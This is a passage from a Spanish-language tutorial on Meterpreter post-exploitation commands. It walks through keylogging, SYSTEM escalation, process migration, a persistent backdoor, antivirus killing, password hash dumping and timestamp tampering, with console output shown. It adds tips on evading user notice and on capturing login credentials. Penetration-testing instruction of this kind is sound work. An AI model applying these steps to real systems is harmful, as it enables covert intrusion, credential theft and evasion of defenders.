background
meterpreter > background
|
|
keyscan
Su uso:
meterpreter > keyscan_start
Starting the keystroke sniffer…
Con esto se ha iniciado el keylogger, posteriormente para consultar lo que se digitado: meterpreter > keyscan_dump
Dumping captured keystrokes…
Finalmente para detener el servicio basta con:
meterpreter > keyscan_stop
Stopping the keystroke sniffer…
getuid
Para obtener el usuario en sesión
|
|
Para obtener la cuenta del usuario SYSTEM
meterpreter > getsystem
got system (via technique 1).
|
|
Para volver a la sesión anterior
|
|
migrate
meterpreter > migrate 1780
De esta forma, cuando se cierre el proceso en ejecución anteriormente asociado al proceso de Meterpreter, este será “migrado” al proceso especificado, se recomienda que el PID sea el de el proceso explorer.exe o uno que tenga relación con los procesos del sistema operativo.
getgui Con este comando es posible acceder al escritorio remoto de la maquina objetivo, en concreto, lo que permite este comando es activar el escritorio remoto de la maquina comprometida.
Su uso resulta muy sencillo:
|
|
Posteriormente podemos conectarnos al escritorio remoto usando el comando rdesktop con una sintaxis similar al siguiente:
rdesktop -u juan -p juan 192.168.1.34
Cabe notar que el usuario y el password especificados pueden corresponder a un usuario creado anteriormente con incógnito, aunque evidentemente se puede utilizar cualquier otro usuario con credenciales validas.
Nota: En sistemas operativos XP y otros que no soporten múltiples sesiones de escritorio remoto, esta acción hará que el usuario logueado en la maquina remota pierda su sesión, por ende es necesario tener prudencia con este tipo de acciones, principalmente para no alertar al usuario sobre las acciones que se están llevando a cabo, esto también aplica a la creación de usuarios, dado que es bastante notorio cuando un usuario se ha creado en el sistema.
Finalmente, se limpia lo que se ha hecho para no dejar rastros, para esto se utiliza el comando:
|
|
metsvc Permite definir un proceso persistente en la maquina objetivo que se encontrará a la espera de una nueva conexión por parte del atacante, para esto será necesario en primer lugar “migrar” el proceso de la sesión meterpreter actual a otro proceso “persistente” del objetivo, del modo en el que se ha indicando anteriormente con el comando migrate, por este motivo los procesos que resultan mas interesantes son aquellos propios del sistema operativo, posteriormente se puede ejecutar:
|
|
Como se puede apreciar la backdoor se ha instalado correctamente en el objetivo, ahora es posible realizar una conexión activa (ya no es necesario esperar de forma pasiva a que un usuario ejecute el fichero .exe que habilitará la sesión meterpreter).
killav
En muchas ocasiones en la maquina objetivo existen programas de antivirus instalados, lo que dificultará tareas comunes e inclusive triviales, por esta razón existe el script killav que intentará terminar todos los procesos de antivirus en el objetivo:
meterpreter > run killav
|
|
Aunque con este comando se supone que se deberían eliminar los procesos de monitoreo como Antivirus, en algunos casos no funciona correctamente, en especial cuando se trata de antivirus que tienen procesos persistentes/resilentes y que no pueden ser detenidos con los mecanismos convencionales, es en estos casos en los que se deben emplear mecanismos mas elaborados para desactivar esta clase de servicios en la maquina comprometida, aquí entra en juego un proceso de recolección de información y análisis de las defensas del objetivo.
route
|
|
cd, rm, rmdir, pwd, ls, upload, download, cat edit, del, mkdir
cd: Permite navegar a través de la estructura de directorios, rm y del eliminar un fichero especificado, pwd, conocer el directorio actual en donde apunta meterpreter, upload para subir un fichero a la maquina remota, download, descargar un fichero desde la maquina remota, mkdir crear un directorio nuevo, cat Permite visualizar un fichero remoto, mientras que edit, permite editarlo con el uso de vi
Como se puede apreciar, se trata de comandos de fácil uso y bastante similares a los comandos clásicos en cualquier sistema Unix.
Idletime
meterpreter > idletime
User has been idle for: 15 mins 57 secs
meterpreter > idletime
User has been idle for: 16 mins
channel
meterpreter > execute -f cmd -c
Process 3356 created.
Channel 11 created.
meterpreter > getpid
Current pid: 1836
meterpreter > execute -f cmd -c
Process 2772 created.
Channel 12 created.
meterpreter > execute -f cmd -c
Process 2860 created.
Channel 13 created.
Como se ha podido apreciar, se han creado diferentes canales con un proceso asociado, posteriormente es posible consultarlos con el comando channel:
meterpreter > channel -l
Id Class Type
– —– —-
11 3 stdapi_process
12 3 stdapi_process
13 3 stdapi_process
Si se desea interactuar con alguno de esto canales, se utiliza el comando “interact” para definir alguno de los canales creados y posteriormente interactuar con él.
meterpreter > interact 11
Interacting with channel 11…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:>exit
meterpreter > channel -l
Id Class Type
– —– —-
12 3 stdapi_process
13 3 stdapi_process
Otra forma de interactuar con un canal, es utilizando los comandos read y write, que permiten enviar flujos de datos a un canal definido de una forma sencilla:
meterpreter > write 12
Enter data followed by a ‘.’ on an empty line:
echo “Hola!”
.
[*] Wrote 13 bytes to channel 12.
meterpreter > read 12
Read 116 bytes from 12:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:>echo “Hola!”
“Hola!”
Finalmente con el comando close, se cierra algún canal que se encuentre abierto
|
|
Id Class Type
– —– —-
13 3 stdapi_process
getdesktop <Stdapi, User Interface Commands>, enumdesktops
meterpreter > enumdesktops
Enumerating all accessible desktops
Desktops
========
Session Station Name
——- ——- —-
0 WinSta0 Default
0 WinSta0 Disconnect
0 WinSta0 Winlogon
0 SAWinSta SADesktop
Para saber en que desktop se encuentra asociada la sesión meterpreter basta con invocar el método getdesktop:
|
|
Cada uno de los desktop tiene sus propios procesos en ejecución y ademas de esto, tienen su propio buffer de teclado y dispositivos de entrada, por lo tanto cuando se realiza el monitoreo de teclas del objetivo, es necesario conocer el desktop actual de ejecución y también es necesario que el proceso del cual depende meterpreter se encuentre en ejecución para dicho desktop, por esta razón es posible que el mismo monitoreo de teclas (utilizando keyscan_*) no funcione de la misma forma para el desktop de inicio de sesión que para el escritorio de un usuario logueado.
TIP: Una vez explicado lo anterior, una practica frecuente que utiliza un atacante cuando logra comprometer un sistema, es establecer después de un periodo corto de tiempo, el desktop asociado con el login de usuario y posteriormente iniciar el escaneo de teclas para dicho desktop, de esta forma es muy fácil capturar las credenciales del usuario que se esta logueando en el sistema.
uictl
meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > uictl disable keyboard
Disabling keyboard…
meterpreter > uictl enable keyboard
Enabling keyboard…
meterpreter > uictl disable mouse
Disabling mouse…
meterpreter > uictl enable mouse
Enabling mouse…
El comando hashdump permite obtener los usuarios y el hash de los passwords de la maquina remota en formato SAM, de esta forma se puede crakear la clave de un usuario determinado usando herramientas como john the ripper o ophcrack
|
|
Por otro lado con timestomp se pueden modificar los atributos relacionados con las fechas de creación y modificación de un fichero en la maquina remota.
Con la siguiente instrucción se puede cambiar la fecha de creación del fichero.
|
|